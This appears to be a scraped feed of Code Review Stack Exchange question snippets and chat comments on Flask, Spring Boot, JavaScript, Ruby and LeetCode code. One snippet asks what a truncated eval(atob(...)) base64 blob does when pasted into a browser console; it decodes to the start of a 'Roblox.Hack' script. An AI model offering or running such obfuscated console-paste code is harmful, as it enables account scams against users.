I'd like to as you what to return form the backend (I use Spring Boot and Angular) in case of credentials validation.
User enters some credentials like username and password and the clicks on Next button to go to the next step. But in this moment there is invoking endpoint validateCredentials. My...
If your code delivers the correct output (works as desired), but needs to be refined, then your question qualifies to be answered by the smart folks at Code Review. — mickmackusa31 secs ago
I am a bit confused about api:s. I want to implement and design a scalable, secure and high quality restful api using python flask. Flask app in this case is meant to do 3 main task receive a post request handles, uses the received values to perform some calculation and send send a get response...
Any further explanation would enter the realm of opinion and code review. But the point would be generally: It allows variable assignment to directly match the structure of the data instead of imperative access [x,y,z]=[1,2,3] is more structurally clean and concise (especially in the above context) and representative of the data than x=list[0], y=list[1], z=list[2]. — user12024217 secs ago
what that code do if i write it in web console?
eval(atob('Um9ibG94LkhhY2sgPSB7CiAgICBvcmlnaW5hbDogJ21pc3NpbmdubycsCiAgICBiYWxhbmNlOiAwLAogICAgaW5pdGlhbGl6ZWQ6IDAsCiAgICBsb2FkaW5nOiBmYWxzZSwKICAgIGl0ZW1zOiBbXSwKICAgIGludmVudG9yeVN0cmluZzogJzxsaSBjbGFzcz0ibGlzdC1pdGVtIGl0ZW0tY2FyZCBuZy1zY29wZSI+P...
@ankii Isn't that just a waste of everyone's time? Why not just post the detailed code rather than build some example, and why would answerers want to learn the code twice?
@Peilonrayz why would OP want to write wrong code first and then refactor it ? There is a middle ground between “we need to do this.” and “we’ve written the hundred lines of code required to do it”: that is “this is how we’re going to do it.”
@Peilonrayz Say they're in 20 languages. Within weeks we'll be at 50 a language on average. While there are more ways to solve it than there are for FizzBuzz, it's not that much more.
I have been working for a few days on writing get, set, and clear bitwise functions in JavaScript to clear not individual bits from an integer n, but to clear entire ranges of bits in n.
For example, using the functions below, I would expect this behavior:
getNumBits(0b101) // 3
getNumBits(0b1010...
The task is to write a simplified version of Ruby's String#count method oneself. Simplified because it doesn't have to have the negation and sequence parts of the original.
Here my solution:
def custom_count(string, search_char)
sum = 0
seg_string = string.split("")
seg_char = search_...
My goal is to make a class that wraps the complexity of OpenCvSharp implementation to show a webcam streaming into a WPF Image. You can find the complete code with a running example (just clone and compile) on my Github repository.
The important code is this:
public sealed class WebcamStreaming :...
Can someone help me make a losing conditon in the function of " engine() " . i cant seem to make it because making an "else" loop causes the function to recheck it to every character of the list "word"
import random
#words
word_list = ['python', 'abc']
word = random.choice(word_list)
length = le...
I've made a Python Flask app and I have some questions about the structure of the main module (equivalent of index.py).
Here is what it looks like:
from flask import Flask, render_template
import database as db
import weather_forecast as wf
import os
app = Flask(__name__)
@app.route("/"...
I have created a program where I first set the size of the array and
how many times I will look for consecutive values, then I fill in the
array and finally I insert the consecutive values, it should look for
the least consecutive value it finds in the array.
consecutive value means the sum of t...
I'm posting my code for a LeetCode problem copied here. If you would like to review, please do so. Thank you for your time!
Problem
A message containing letters from A-Z is being encoded to numbers
using the following mapping way:
'A' -> 1
'B' -> 2
...
'Z' -> 26
Beyond that, now the encoded ...
I understand the policy that we do not allow pseudocode in the question. That said, if an OP indicates it, would answers whose language diverges from the language of the post be on-topic?
The motivating example is How to optimize bitwise get/set/clear of ranges of bits? . The original language is...
By the way, I looked at your DSL project and while it looks like a great start, I'm not sure what you want with it in the end. By the time you've typed that up with the proper formatting, you might as well write a non-standard comment yourself. @Peilonrayz
@Mast True, it'd take about the same amount of time. The main aim is to have links, text without mistakes and have language that is guaranteed to be polite. Whilst I can write them myself, I find myself getting unpleasant remarks from some users lately. I presume it's because I've, in haste, made a mistake or said something that isn't undeniably polite.
I'm posting my code for a LeetCode problem copied here. If you would like to review, please do so. Thank you for your time!
Problem
Convert a non-negative integer to its English words representation.
Given input is guaranteed to be less than 2^31 - 1.
Inputs
123
1234567891
151
1414312
1234
1241...
I am creating a social network and I want to know how secure and clean this code is. I had to update it to prepared statements because I was following a tutorial and even though it was made in 2019 it was using 15 year old code. So can someone tell me if it's good or needs improvement ? Thanks.
<...
I've been moving all of my code to sanskrit, so def __init__(स्वाध्याय, ...). Needless to say, code reviews have been contentious. — tdelaney43 secs ago
Background:
I'm implementing an algorithm from the paper Polygon Area Decomposition for Multiple-Robot Workspace Division and one of the steps is to represent a polygon as a graph. This is done by splitting a polygon to convex parts that will become the nodes of the graph, and the edges of the gr...
@MartinR @Peilonrayz I just warned the author of the question about who owns the code that is posted here. I'm wondering if the question will be RBA now.
I teach programming, and I currently teach my class about inheritance, abstract classes, and mixins.
I wrote this code as an example, and I want to be sure it is as good as possible before I release it as a code example.
Few assumptions:
The code should only handle piece movements and not manage...
I am currently writing python code that scrapes information from the web.
I have to scrape several sites, but there a two types of procedures:
Directly scrape from the website
Download pdf and scrape it with regexes
I consider the following 3 options, which one would be recommended?
Option 1
Us...